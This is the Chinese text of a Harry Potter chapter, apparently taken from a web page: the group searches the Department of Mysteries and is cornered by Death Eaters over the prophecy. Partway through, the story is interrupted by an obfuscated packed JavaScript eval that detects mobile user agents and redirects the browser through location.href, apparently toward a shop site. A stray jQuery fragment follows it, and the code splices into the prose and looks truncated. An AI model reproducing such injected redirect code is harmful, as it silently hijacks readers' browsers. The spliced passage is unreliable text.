将乌姆里奇丢在禁林里之后，哈利一行人急匆匆地乘坐夜骐前往魔法部。


    “过来。”哈利轻轻地说，六个人在大厅里全速跑着，他在最前面经过喷泉朝安检台跑去，那里曾坐着一个给哈利的魔杖称重的巫师看守，可现在那里空无一人。


    哈利认为这里是应该有保安人员的，并相信没有人把门是个不祥的兆头。当他们穿过黄金大门走向升降梯时，他的这种不祥预感更加强烈了。他按下最近处的一个“向下”按钮，升降梯几乎立刻咔哒一下出现在眼前，金色的栅栏从中间滑到两边，发出震耳的、回荡的铿锵声，他们冲了进去。哈利戳了一下九号按钮，栅栏砰的一声关上了。升降梯发出咔哒咔哒的响声，很是刺耳，哈利在那天白天随韦斯莱先生来这里时并没有注意到它这么吵。他相信这样的噪音一定能引起建筑物里每一个保安人员的注意。然而当升降梯停下来时，那个冷漠的女人的声音说道：“神秘事务司。”栅栏打开了，他们走出来进入走廊，这里除了最近处的火把在升降梯搅起的气流中摇曳闪烁之外，什么动静也没有。


    哈利转向那扇朴素的黑门。好几个月以来，他一直只是在梦中看到它，现在他终于来到这里了。


    “我们走。”他小声说，领着大家顺着走廊向前走去，卢娜跟在他身后，微微张开嘴巴，四下打量着。


    “好了，大家听着，”哈利说，在离黑门不到六英尺的地方停了下来，“也许应该留几个人在这里——望风，还有——”


    “可要是有什么情况，我们怎样才能通知你呢？”金妮扬起眉毛问道，“你可能会在很远的地方？”


    “我们都跟你去，哈利。”纳威说。


    “我们接着走吧。”罗恩坚定地说。


    哈利还是不愿意把他们几个都带在身边，可是看起来他别无选择。他转身对着黑门，走过去……正如在梦中一样，它打开了。他迈过门槛，其他人紧随其后。


    他们正站在一间巨大的圆形屋子里。这里所有的东西，包括天花板和地板全部都是黑色的；一些一模一样、没有标记、也没有把手的黑色房门彼此隔开一些距离嵌在四周黑色的墙壁上，一些冒着蓝色火苗的蜡烛点缀在墙上，冷冷的、闪烁着的微弱烛光倒映在光亮的大理石地板上，使地板看上去像是有一汪黑水似的。


    “请谁把门关上。”哈利嘟囔了一声。


    当纳威照他的话办了以后，他真后悔下了这个指令。没有了从身后走廊倾泻进来的那道狭长的光束，这个地方变得暗了，以至于在一段时间里他们只能看见墙上摇曳着的蓝色烛火以及它们在地板上映出的可怕倒影。


    在哈利的梦里，他始终都是毫不犹豫地走过这间屋子，径直来到正对入口的那扇门前，然后又继续向前走去。可是现在周围有十二扇门。正当他凝视着面前的几扇门，想判定应该进哪一扇时，随着一声轰隆隆的巨响，蜡烛开始向一侧移动。圆形的墙壁旋转起来。


    赫敏抓着哈利的胳膊，好像担心地板也会动起来似的，但是地板没有动。几秒钟后，他们周围的蓝色火苗随着墙壁的快速旋转模糊成一道道相似的光环。接着，正如开始时一样的突然，隆隆声消失了，一切又恢复了平静。


    哈利的眼睛里闪烁着一道道蓝光；除此以外他什么也看不见。


    “这是要干什么？”罗恩担心地小声问。


    “我猜这是让我们搞不清是从哪个门进来的。”金妮压低了嗓门回答。


    哈利马上意识到她说对了：现在让他辨认出口在哪里，比在漆黑的地板上找出一只黑蚂蚁还难；在周围的十二扇门里，任何一扇门都有可能是他们需要穿过的那一扇。


    “我们该怎么出去啊？”纳威不安地问。


    “现在这个问题不重要，”哈利激动地说，一边眨着眼睛竭力消除眼里的蓝色线条，手里的魔杖抓得更紧了，“在没有找到西里斯之前，我们不需要出去——”


    “可千万别大声喊他的名字！”赫敏赶忙说；其实用不着她提醒，哈利凭直觉就明白应该尽量保持安静。


    “我们该往哪儿走呢，哈利？”罗恩问。


    “我不——”哈利刚一开口，又咽了回去，“在那些梦里，我下了升降梯，走进走廊尽头的一扇门，来到一间漆黑的屋子里——这就是那一间——接着我又穿过一扇门，进入一间有些……闪闪发光的屋子。我们应该试试几扇门，”他匆匆地说，“见到那个屋子，我就知道该怎么走了。来吧。”


    他径直走向正对着自己的那扇门，其他人紧跟在后面。他把左手放在冰凉、光亮的门上，举起魔杖，准备在门打开的那一刻冲过去，然后他推了推。这扇门轻轻松松地打开了。


    吊灯低悬在金色链子上自天花板上垂下来，经历过第一间屋子的黑暗后，这间方形的屋子显得非常明亮，尽管没有哈利在梦中见到的朦胧、闪烁的微光。屋子里几乎是空荡荡的，只有一张桌子，另外在屋子的正中央有一个巨大的盛着墨绿色液体的玻璃水箱，大得足够让他们在里面游泳；许多白色的东西正慢悠悠地在里面漂来漂去。


    “这是什么东西？”罗恩低声说。


    “不知道。”哈利说。


    “是鱼吗？”金妮轻轻地问。


    “阿卡危蛆！”卢娜兴奋地说，“爸爸说魔法部里养着——”


    “不对。”赫敏说。她的语气有些古怪。她走到跟前，隔着容器往里看。“是脑子。”


    “脑子？”


    “是的……他们为什么养这种东西？”


    哈利来到她旁边站在水箱前。千真万确，他离得这么近，是不会看错的。它们在绿色液体的深处时隐时现，阴森地闪着光，像是黏糊糊的花椰菜一样的东西。


    “大家离开这儿。”哈利说，“这间不是，我们再试一下另一扇门。”


    “这里也有很多门。”罗恩一边说一边指着四周的墙壁。哈利的心一沉；这个地方到底有多大呀？


    “在我的梦里，我是穿过那间黑色的屋子就进入了第二间。”他说，“我想我们应该回去，从那里再试。”


    他们快速回到那间黑暗的圆形屋子；那些可怕的大脑的影像取代了蓝色的烛光，在他的眼前游来游去。


    “等一下！”正当卢娜准备关上身后装大脑的屋门时，赫敏尖声叫道，“标记显现！”


    她用自己的魔杖在半空中画了一下，一个火红的“X”出现在门上。当这扇门咔哒一声在他们背后关上的时候，震耳的隆隆声立刻响了起来，墙壁又开始飞快地旋转。但是在微弱的蓝光中，有一团巨大、模糊的金红色，当一切再一次静止不动时，那个火红的X还在燃烧，表明这扇门他们已经进去过了。


    “好主意，”哈利说，“现在，我们再试一下这一扇——”


    他还是径直大步走到面前的那一扇门，举着魔杖将门推开，其他人依旧跟在后面。


    这一间比刚才的那一间大一些，光线昏暗，呈方形，中心凹陷，形成一个巨大的石坑，大约有二十英尺深。石头台阶环绕着整个屋子，如同石凳，一级一级逐渐下降，每一级都很陡峭，就像是阶梯教室，或是哈利曾被威森加摩审问过的审判室，他们所站的位置处于最高一级台阶上。但石坑的中心没有放着带铁链的椅子，取而代之的是一个凸起的石台，它的上面立着一个拱门，看上去很古老，破烂不堪，哈利奇怪它居然还能立在那里不倒下来。拱门四周没有任何墙壁支撑，一幅破破烂烂的黑色窗帘抑或是帷幔挂在上面，尽管这里的空气冷冷的，没有一丝风，可它却在轻轻地摆动，仿佛是刚刚被人触摸过。


    “谁在那儿？”哈利说，跳到下一级的石凳上。可是没有人应声，但那个帷幔仍在飘摆。


    “小心！”赫敏压低了声音说。


    哈利快速逐层爬下石凳来到石坑最底部，然后慢慢走向石台，脚步声在屋子里回荡，这个尖顶的拱门现在看上去要比从上面俯视它时高得多。帷幔还在轻轻摆动，像是有人刚刚穿过它。


    “西里斯？”哈利又叫了声，由于离得很近，他的声音放得很轻。他有一种十分古怪的感觉，一定有人正站在帷幔的后面，或者是拱门的另一侧。他紧紧搽着魔杖，小心翼翼地绕到台子后面，但是什么人也没有；从这里只能看到破烂的黑色帷幔的另一面。


    “我们走吧，”赫敏下到石阶中间喊道，“这间也不是，哈利，快点儿，我们走吧。”


    听起来她很害怕，比在那间放着游泳大脑的屋子里时还害怕，然而哈利觉得，这扇拱门尽管已经很古老，但却有一种独特的美。那轻轻飘动的帷幔引起了他的兴趣；他有种强烈的欲望，想爬上石台穿过它。


    “哈利，快点走，好不好？”赫敏的语气更急了。


    “这就来。”他说，但是没有动弹。他刚刚听到什么，一阵微弱的窃窃私语声和嘀咕声从帷幔的后面传了过来。


    “你们在说什么？”他很响亮地问道，他的话在石凳间回荡着。


    “没有人在说话，哈利！”赫敏说着向他走过来。


    “有人在后面小声说话。”他说着挪了挪，躲开了赫敏，依然皱着眉头盯着那幅帷幔，“是你吗，罗恩？”


    “我在这儿，哥们儿。”罗恩说着从拱门的另一边绕了出来。


    “你们都听不到这个声音吗？”哈利迫切地问道，因为那个窃窃私语声和嘀咕声越来越响了；他下意识地发现自己的脚站在了石台上。


    “我也听得到，”卢娜小声说着也来到拱门这一边和他们站在一起，她注视着拂动的帷幔，“那里面有人！”


    “你是什么意思，‘那里面’？”赫敏怒气冲冲地问道，一边从最底的台阶上跳了下来，不知哪里来了那么大火气，“‘那里面’什么东西也没有，它只是一扇拱门，没有可让人待的地方，哈利，别再这样了，快点儿离开这里——”


    赫敏抓起他的胳膊向外拉，但他就是不听。


    “哈利，我们到这里来是为了救西里斯！”她扯着嗓子高声说。


    “西里斯，”哈利重复了一遍，依然神情恍惚、眼睛直勾勾地盯着不停拂动的帷幔，“唉呀……”


    他终于回过神来；西里斯被抓了，被捆绑着受尽折磨，而自己却在这里盯着拱门……


    他后退几步离开了石台，视线猛地从帷幔上移开了。


    “我们走。”他说。


    “我一直在要求——很好，走吧！”赫敏说着绕过石台往回走。在石台的另一侧，金妮和纳威也在出神地凝视着那幅帷幔，显然被迷住了。赫敏与罗恩什么也没说，赫敏抓住金妮的胳膊，罗恩抓住纳威的胳膊，坚决地大步走到最底层的石凳，一路攀爬着回到这个房间的入口。


    “你觉得那个拱门是什么东西？”当他们重新回到黑色圆形房间的时候，哈利问赫敏。


    “我不知道，但不管是什么，它肯定是很危险的。”赫敏肯定地说着，又在这扇门上画了一个X。


    墙壁再一次飞转，然后停下来。哈利胡乱挑了一扇门走过去推了一下，门没动。


    “怎么了？”赫敏问。


    “它……被锁上了……”哈利一边说一边用整个身体撞过去，门还是没动。


    “看来，就是它了，对不对？”罗恩兴奋地说，与哈利一起用力试图把门撞开，“肯定就是它了。”


    “让开！”赫敏尖声说。她用魔杖对准应该是门锁的位置，口里念着：“阿拉霍洞开！”


    可门还是老样子。


    “西里斯的小刀！”哈利说。他从自己的袍子里掏出刀子，从门与墙之间的门缝中插了进去。其他人急切地注视着他用刀子从顶端划到了最底部，然后他抽出刀子，用肩膀又撞了一下。门还是像刚才那样关得死死的。不但如此，当哈利低头一看时，发现刀刃已经熔化了。


    “这样看来，我们不要再理这间屋子了。”赫敏果断地说。


    “但是，万一就是这一间该怎么办？”罗恩说着，既担忧又憧憬地望着这扇门。


    “不可能，哈利在他的梦里可以穿过所有的门。”赫敏说着在门上又做了个X，与此同时，哈利把已经报废的西里斯的小刀刀柄放回了口袋。


    “你们觉得那里面可能有什么呢？”卢娜热切地问道，这时候墙壁又开始转动了。


    “唠唠叨叨，毫无疑问。”赫敏小声回答，纳威紧张地轻轻笑了笑。墙壁渐渐停了下来，哈利有些绝望地推开了旁边的一扇门。


    “就是这儿！”


    当他看到美丽的、钻石般闪烁的跳跃光芒时，立刻就认出正是这一间屋子。他的眼睛逐渐适应了这里灿烂夺目的光芒之后，才看清楚许许多多的钟表的表盘在闪着微光。它们大小不一，有落地大座钟也有旅行钟，或是悬挂在书架之间，或是立在有整个屋子那么长的桌子上。正因为如此，一种急促的永无休止的嘀答声充满了整个屋子，像是成千上万细微的脚步声。那道钻石般明亮的跳跃光芒来自房间尽头一个高高耸立着的钟形水晶玻璃罩。


    “这边走！”


    一旦知道他们走的路线是正确的，哈利的心就猛烈地跳动起来。他走在前面，顺着桌子之间狭窄的空隙走向光源，就像他在梦里所做的一样。这个钟形的水晶玻璃罩有哈利那么高，立在一张桌子上，看上去里面充满了一股翻腾着的、闪闪发光的气流。


    “噢，看呀！”当他们走近时，金妮指着钟形玻璃罩的中心说。


    在闪烁的光线中，飘浮着一个小小的像宝石一般明亮的蛋。当它在玻璃罩里升起来的时候，啪的一下裂开了，一只蜂鸟冒出来，径直升到玻璃罩的最顶部，但随着气流的下落，小鸟的羽毛被再次弄脏、淋湿，直到降落到玻璃罩的最底部，被再次关进蛋里。


    “继续走，别停下！”哈利厉声说，因为金妮好像很想停下来观察蛋变成鸟的过程。


    “你倒是在老拱门那儿待够了！”她顶了一句，但还是跟在他的后面，经过钟形水晶玻璃罩走向它后面仅有的一扇门。


    “就是这儿。”哈利又说了一遍。他心跳得厉害，他想一定是心跳影响了他的语言表达，“它是穿过这里——”


    他环视了一眼其他人，他们都已经拿出了魔杖，顷刻间显得既严肃又迫切。他又回过头来盯着门。他推了一下，门开了。


    他们来到了里面，他们终于找到了这个地方。这里像教堂一样高，里面排满高耸的架子，上面摆满灰扑扑的小玻璃球，除此之外什么也没有。更多的烛台隔着一定的间隔嵌在架子上，暗淡的光线从上面射出来，同那间黑色圆形屋子里的一样，火苗是蓝色的。那些小玻璃球在这些光线中隐隐发光。房子里面很冷。


    哈利慢慢走向前，低头审视了一眼两排架子之间的一条阴暗的过道，他听不到一丝声音，也感觉不到动静，哪怕是最微小的动静。


    “你说过是第97排。”赫敏在他旁边悄悄地说。


    “是的。”哈利轻声回应，抬头朝最近一排的尽头望去。蜡烛发出蓝色的火苗，支架下面闪烁着银色的数字53。


    “我想，我们应该向右走。”赫敏小声说，斜眼朝旁边的那一排瞥了一下，“对了……这是54……”


    “大家都把魔杖准备好。”哈利轻声说。


    他们蹑手蹑脚地沿着架子之间长长的过道朝前走去，不时回头瞥瞥身后，远处几乎是一片漆黑。每个玻璃球下面的架子上都贴着泛黄的小标签。一些小球发出神秘的流动的光，另外一些则模糊而黑暗，就像熄灭了的灯泡。他们走过第84排……第85排——哈利在努力聆听最细微的动静，但是什么也听不到，可能是西里斯的嘴巴被堵住了，也可能他已经不省人事……或者，一个令人厌恶的声音钻进他的脑海里：“可能他已经死了……”


    如果是那样，我是可以感觉到的，哈利提醒自己说，他的心都跳到了嗓子眼儿，我会知道……


    “97。”赫敏小声说。


    他们集中站在第97排的一端，目不转睛地盯着架子旁的走廊，那里没有人。


    “他就在最那边，”哈利说，他的嘴巴已经有些发干了，“站在这里，是不可能看清楚的。”


    他带着大家从两排高耸的玻璃球之间穿过，他们经过的时候，有些玻璃发出微弱的亮光……


    “他应该就在这附近，”哈利的声音很小，他深信每向前一步，漆黑一团的地板上就会出现西里斯槛褛的身影，“就在这里的一个什么地方……真的很近了……”


    “哈利？”赫敏试着叫他，但他不想回答，他嘴里已经很干了。


    “这里的……某个地方……”他说。


    他们已经来到了这排架子的另一端，暴露在更多暗淡的烛光里。这里也没有人。只有回音和满是尘埃的寂静。


    “他可能在……”哈利用嘶哑的声音小声说，眼睛盯着旁边的过道，“或者可能……”他马上又顺着下一条过道看了过去。


    “哈利？”赫敏又叫了一声。


    “什么？”他有些不耐烦了。


    “我……我想西里斯不在这儿。”


    没有人做声。哈利不想去看他们之中的任何一个人。他觉得很难受。他不明白为什么西里斯不在这儿。而他明明该在这儿。哈利就是在这儿见到了他……


    他朝一个方向快速跑过一排排的架子，顺着它们望去。一条又一条空荡荡的过道从他身边闪过。他的伙伴直勾勾地望着他，他又掉转方向，经过他们，朝相反的方向跑去。到处都没有西里斯的影子，也没有打斗过的痕迹。


    “哈利？”罗恩喊。


    “什么？”


    他不想听罗恩说话；不想听罗恩说他很蠢，或者是建议他们应该回到霍格沃茨去，但是他的脸越来越火辣辣的，好像自己想在面对高高的明亮的正厅和其他责备的目光之前，偷偷地在这里的黑暗中躲藏一段时间……


    “你看见这个了吗？”罗恩说。


    “什么？”哈利问，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419022|135277||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他这次的语气很急切——一定是西里斯曾在这里待过的痕迹或线索。其他人都站在第97排架子尽头靠向里一点的地方，他大步走到他们跟前，什么也没有发现，只是看见罗恩正在注视着架子上的一个脏兮兮的玻璃球。


    “什么？”他阴郁地又问了一遍。


    “这上面——这上面有你的名字。”罗恩说。


    哈利靠近了一些，罗恩指着一个小玻璃球，它很脏，好像多年都没有被碰过似的。但里面的微光使它有些发亮。


    “我的名字？”哈利茫然地问。


    他走上前，因为不如罗恩高，他不得不伸直了脖子去看贴在架子上的玻璃球下面的泛黄的标签。上面用精巧的字体标着一个大约是十四年以前的一个日期，接下来是：


    【S.P.T to A.P.W.B.D. 黑魔头和哈利·波特】


    哈利盯着它。


    “这是什么？”罗恩问道，“你的名字怎么会在这上面？”


    他看了一眼架子上的其他标签。


    “架子上没有我的名字，”他困惑地说，“也没有其他人的名字。”


    “哈利，我想你不应该碰它。”当哈利把手伸过去的时候，赫敏尖声说。


    “为什么不应该？”他说，“它与我有关，不是吗？”


    “别，哈利。”纳威突然说。哈利看了他一眼。纳威汗涔涔的圆脸在微微发亮，看上去他似乎不能再承受更多的不安和焦虑了。


    “我的名字写在上面。”哈利说。


    他心想管他呢，豁出去了，于是他握住了那个肮脏的小球。他原以为它是冰凉的，但是正相反，它让人觉得它好像已经在阳光下放了几个小时，好像被它自身的光芒温暖着。哈利期待着，甚至是希望有什么戏剧性的事情会发生，希望有一些令人兴奋的东西可以令他们这漫长且危机四伏的旅行最终有些价值，他把这个玻璃球从架子上取了下来，瞪眼看着它。


    没有任何事情发生。另外五个人走过来站在他的周围，他用手拂去玻璃球表面厚厚的尘土。他们目不转睛地盯着他手中的球。


    然后，在他们的右后方，响起一个懒洋洋的声音。


    “很好，波特，现在慢慢转过身来，把它给我。”


    突然他们周围浮现出许多黑影，堵住了他们两旁的去路；这些人的眼睛在兜帽的缝隙里闪闪发光，十二根尖端发亮的魔杖瞄准了他们的心脏；金妮吓得屏住了呼吸。


    “给我，波特。”马尔福·卢修斯慢吞吞地重复了一遍，掌心向上伸出手来。


    哈利的心猛地沉了下去。他们被包围了，而且对方的人数是他们的两倍。


    “给我。”马尔福又说了一遍。


    “西里斯在哪儿？”哈利问道。


    几个食死徒笑了起来；在哈利左边几个黑乎乎的身影中，一个刺耳的女人声音得意地说：“黑魔王总是料事如神！”


    “总是，”马尔福小声附和着，“现在，把预言球给我，波特。”


    “我要知道西里斯在什么地方！”


    “我要知道西里斯在什么地方！”哈利左边的那个女人鹦鹉学舌地说。


    她和她的食死徒同伙又逼近了一些，离哈利他们只有几英尺远了，他们魔杖上发出的亮光使哈利有些眼花缭乱。


    “你们抓走了他。”哈利说。他没有理会内心升起的慌乱，还有自从他们第一步踏进第97排时，自己一直想努力驱散的恐惧感。“他在这儿。我知道他在。”


    “小宝贝被吓醒了，还以为梦到的是真的呢。”那个女人用婴儿似的声音令人厌恶地说。哈利发觉罗恩在自己身旁动弹了一下。


    “什么也别做。”哈利嘀咕了一声，“现在还不能——”


    那个学他说话的女人用沙哑刺耳的声音大笑起来。


    “你们听到了吗？你们听到了吗？他在给别的孩子下命令，好像他打算攻击我们似的！”


    “哦，你可不如我了解波特，贝拉特里克斯。”马尔福轻轻地说，“他在英雄主义方面可有一个很大的弱点；黑魔王了解他这一点。现在把预言球给我，波特。”


    “我知道西里斯就在这儿。”哈利说，尽管慌乱的情绪使他胸口发紧，让他仿佛感到自己都不能正常呼吸了，“我知道，你们抓了他！”


    大笑起来的食死徒更多了，那个女人的笑声最响。


    “是时候了，你也该了解现实与梦境之间有什么不同了，波特。”马尔福说，“快点儿给我预言球，不然的话我们就要使用魔杖了。”


    “好，那就来吧。”哈利说着把自己的魔杖举到胸前，同时，罗恩、赫敏、纳威、金妮和卢娜的五根魔杖也在他两旁纷纷举了起来。哈利心头一紧。如果西里斯真的不在这里，那他就是在把自己的朋友引向无谓的死亡……


    但是食死徒们没有攻击。


    “把预言球交出来，没必要让人受伤。”马尔福冷冷地说。


    这回轮到哈利大笑了。


    “是啊，太对了！”他说，“我把这个——预言球给你，是吧？然后你就让我们悄悄溜回家，是吧？”


    他的话刚一出口，那个女食死徒就尖叫了一声：“预言球飞——”


    哈利对她早有防备：没等她念完咒语，哈利就大声喊道：“盔甲护身！”尽管玻璃球滑到了他的手指尖上，但他还是努力把它抓住了。


    “哎呀，他还挺会玩儿的呢，波特小宝贝。”她说，狂怒的眼睛在兜帽的缝隙中狠狠地瞪着，“很好，那么——”


    “我告诉过你，不要这样！”马尔福·卢修斯朝那个女人大吼，“万一你把它打碎了——！”


    哈利飞快地盘算着。这些食死徒想要这个脏兮兮的玻璃球。他对这个可没有兴趣。他只想把大家全都活着带出去，确保他的朋友们不会因为自己的愚蠢而付出惨重的代价……


    那个女人离开她的同伙，走了过来，扯下她的兜帽。阿兹卡班使贝拉特里克斯·莱斯特兰奇面颊深陷，显得既憔悴又瘦骨嶙峋，但却洋溢着兴奋、狂热的神色。


    “还需要多劝劝你吗？”她说，胸口猛烈地起伏着。“那很好，抓住那个最小的家伙，”她吩咐旁边的食死徒说，“让他看看我们是如何折磨这个小女孩的。我来动手。”


    哈利发觉其他人朝金妮围了过来；他向旁边迈了一步，正好站在金妮的前面挡住了她，把预言球举到胸前。


    “如果你想对付我们当中的任何一个，你就必须把这个打碎。”他冲贝拉特里克斯说，“如果你没有带着它回去，我想你的主人不会很开心吧，是不是？”


    她没有动，只是死死盯着哈利，用舌尖舔了一下自己薄薄的嘴唇。


    “那么，”哈利说，“这到底是个什么样的预言啊？”


    他想不出该怎么办，只能不停地说话。纳威的胳膊紧紧抵着他的胳膊，他能感觉到纳威在发抖，也能感觉到有一个人正冲着他的后脑勺急促地呼吸。他希望他们都在积极地想逃出去的办法，因为他的脑子里一片空白。


    “什么样的预言？”贝拉特里克斯重复道，脸上那种呲牙咧嘴的笑容逐渐消失了，“你在开玩笑，哈利·波特。”


    “不，我没有开玩笑，”哈利的目光掠过一个个食死徒，想搜寻一个薄弱环节，一个能够让他们从其中逃脱的空隙，“为什么伏地魔想要它？”


    几个食死徒发出不满的低低嘘声。


    “你敢直呼他的名字？”贝拉特里克斯低声说。


    “当然，”哈利仍旧牢牢地抓住玻璃球，以防再有人施魔法把它抢走，“是啊，我说出这个名字没有什么问题，伏——”


    “闭嘴！”贝拉特里克斯厉声尖叫，“你竟敢从你卑贱的口中说出他的名字，你竟敢用你那杂种的舌头玷污它，你竟敢——”


    “你知道他也是个杂种吗？”哈利毫无顾忌地说。赫敏在他耳边小声呻吟着。“伏地魔？当然了，他妈妈是个巫师，但他爸爸却是个麻瓜——难道他一直告诉你们他是纯种的？”


    “昏昏倒——”


    “不！”


    一道红光从贝拉特里克斯·莱斯特兰奇的魔杖尖端喷射过来，但马尔福的咒语使它偏离了方向，打在哈利左边一英尺远的一个架子上，上面的一些玻璃球被击得粉碎。


    两个像幽灵一样泛着珍珠白色、像烟一样飘动的身影从落在地板上的玻璃碎片中伸展开，开口说话了。他们的声音此起彼伏，在马尔福和贝拉特里克斯的叫喊声中，只能够听到只言片语。


    “……在至日的时候会出现一个新……”一个长着络腮胡子，上了年纪的身影说。


    “不要攻击，我们需要预言球！”


    “他竟敢——他竟敢——”贝拉特里克斯语无伦次地尖叫着，“他就站在那里——肮脏的杂种——”


    “等我们拿到预言球再说！”马尔福喊道。


    “……之后没有人会来……”那个年轻女人的身影说。